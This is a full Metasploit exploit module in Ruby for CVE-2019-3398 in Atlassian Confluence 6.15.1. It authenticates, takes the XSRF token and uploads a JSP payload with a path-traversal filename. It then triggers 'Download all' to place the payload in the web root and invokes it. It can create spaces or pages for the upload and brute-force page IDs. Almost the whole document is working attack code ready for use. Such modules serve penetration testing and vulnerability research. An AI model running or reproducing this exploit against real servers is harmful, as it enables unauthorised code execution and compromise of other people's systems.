# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
'Description' => %q{
To use this exploit you should specify the following variables:
USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
Typical ROOTFOLDER locations are:
Windows: Program Files/Atlassian/Confluence/confluence/pages/
Linux: opt/atlassian/confluence/confluence/pages/
Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
Tested on Atlassian v6.15.1. on Linux and Windows.
Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Maxim Guslyaev' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-3398' ],
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
],
'Privileged' => false,
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_JAVA }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_JAVA }]
],
'DefaultOptions' =>
{
'RPORT' => 8090,
'SSL' => false
},
'DisclosureDate' => 'Nov 9 2019',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),
OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),
], self.class)
end
def do_authenticate
print_status("Sending POST request to the web application (authentication)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/dologin.action'),
'method' => 'POST',
'vars_post' => {
'os_username' => datastore['USERNAME'],
'os_password' => datastore['PASSWORD'],
'os_destination' => '',
'login' => 'Log+In'
}
})
if res.nil?
print_status("Unable to access the web application!")
return 0
end
@sessid = get_sid(res)
if @sessid.nil?
print_status("Unable to retrieve session ID!")
return 0
end
print_status("Getting Session ID from the web application... #{@sessid}")
if res && res.redirect?
location = res.redirection
if location.nil?
print_status("Unable to access the web application when redirected!")
return 0
end
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path.to_s, location.to_s),
'method' => 'GET',
'headers' => {
'Cookie' => @sessid
}
}, redirect_depth = 5)
end
if res && res.code == 200
if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/
print_status("Authentication failed...")
return 0
end
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
if @xsrf_token.nil? or @xsrf_token.blank?
print_status("Failed to retrieve XSRF token...")
return 0
else
print_status("Retrieving XSRF token... #{@xsrf_token}")
return 1
end
else
print_status("Unexpected response from the web application...")
return 0
end
end
def do_upload(_pageid)
print_status("Sending POST request to the web application (shellcode upload)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),
'method' => 'POST',
'vars_get' => {
'pageId' => _pageid,
'filename' => '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],
'size' => payload.encoded.length,
'mimeType' => 'text/plain',
'spaceKey' => 'isis',
'atl_token' => @xsrf_token,
'name' => datastore['FILENAME']
},
'data' => payload.encoded,
'headers' => {
'Connection' => 'close',
'Accept' => '*/*',
'Accept-Encoding' => 'identity',
'Cookie' => @sessid,
'Content-Length' => payload.encoded.length,
'Content-Type' => 'text/plain'
}
})
if res && res.code == 200 && res.body.scan(/actionErrors/).blank?
print_status("Shellcode uploaded...")
return 1
else
return 0
end
end
def do_downloadall(_pageid)
for downloadall_iter in 1..10
print_status("Sending GET request to the web application (downloadall)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),
'method' => 'GET',
'vars_get' => {
'pageId' => _pageid
},
'headers' => {
'Cookie' => @sessid
}
})
print_status("Sending GET request to the web application (shellcode invokation)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),
'method' => 'GET',
'headers' => {
'Cookie' => @sessid
}
}, timeout = 10)
if res && res.code == 200
print_status("Shellcode found...")
return 1
else
if downloadall_iter == 10
print_status("Shellcode not found...")
return 0
end
end
end
end
def do_getspaces
print_status("Sending GET request to the web application (getting available spaces)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'python-requests/2.20.0',
'Cookie' => @sessid,
'Accept' => '*/*',
'Accept-Encoding' => 'identity',
'Content-Type' => 'application/json'
}
})
if res && res.code == 200 && res.body =~ /results/
space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten
else
space_list = Array([])
end
return space_list
end
def do_createspace
print_status("Sending POST request to the web application (creating a space)...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/rest/api/space'),
'method' => 'POST',
'data' => {
"key": datastore['NEWSPACE'],
"name": "Example space",
"description": {
"plain": {
"value": "This is an example space",
"representation": "plain"
}
},
"metadata": {}
}.to_json,
'headers' => {
'User-Agent' => 'python-requests/2.20.0',
'Cookie' => @sessid,
'Accept-Encoding' => 'identity',
'Content-Type' => 'application/json'
}
})
if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/
print_status("Space created...")
return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]
else
print_status("Space not created...")
return 0
end
end
def do_createpage(_space)
print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),
'method' => 'GET',
'headers' => {
'Cookie' => @sessid
}
})
if res && res.code == 200 && res.body =~ /ajs-draft-id/
pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']
pageid_parsed = /(\d+)/.match(pageid)
if pageid_parsed.nil?
print_status("Unexpected Page ID format...")
return 0
else
print_status("Page ID created... #{pageid}")
datastore['PAGEID'] = pageid
return 1
end
else
return 0
end
end
def get_sid(res)
if res.nil?
return ''
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
def exploit
print_status("Getting authenticated to the web application...")
if do_authenticate != 1
fail_with(Failure::Unknown, 'Initial access or authentication error!')
end
unless datastore['PAGEID'].blank?
if datastore['PAGEID'] == 0
print_status("Creating Page ID...")
spaces = do_getspaces
for sp in spaces
if do_createpage(sp) == 1
print_status("Uploading shellcode...")
if do_upload(datastore['PAGEID']) != 1
print_status("Failed to upload shellcode...")
next
end
print_status("Invoking shellcode...")
if do_downloadall(datastore['PAGEID']) != 1
print_status("Failed to invoke shellcode...")
next
else
return
end
end
end
print_status("Trying to create a new space...")
new_sp = do_createspace
if new_sp != 0
if do_createpage(new_sp) == 1
print_status("Uploading shellcode...")
if do_upload(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while uploading shellcode!')
end
print_status("Invoking shellcode...")
if do_downloadall(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while invoking shellcode!')
end
return
else
fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')
end
else
fail_with(Failure::Unknown, 'Error while creating space!')
end
end
print_status("Uploading shellcode...")
if do_upload(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while uploading shellcode!')
end
print_status("Invoking shellcode...")
if do_downloadall(datastore['PAGEID']) != 1
fail_with(Failure::Unknown, 'Error while invoking shellcode!')
end
else
for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']
print_status("Trying Page Id #{id}")
print_status("Uploading shellcode...")
if do_upload(id) == 1
print_status("Invoking shellcode...")
if do_downloadall(id) == 1
break
end
end
end
end
end
def check
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),
'method' => 'GET',
}, redirect_depth = 5)
if res && res.body =~ /Powered\sby/
ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]
print_status("The version of the web application is #{ver}")
ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)
if ver_parsed.nil?
print_status("The version of the web application couldn't be parsed")
return Exploit::CheckCode::Detected
end
ver_oct1 = ver_parsed[1].to_i
ver_oct2 = ver_parsed[2].to_i
ver_oct3 = ver_parsed[3].to_i
if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Unknown
end
end
end
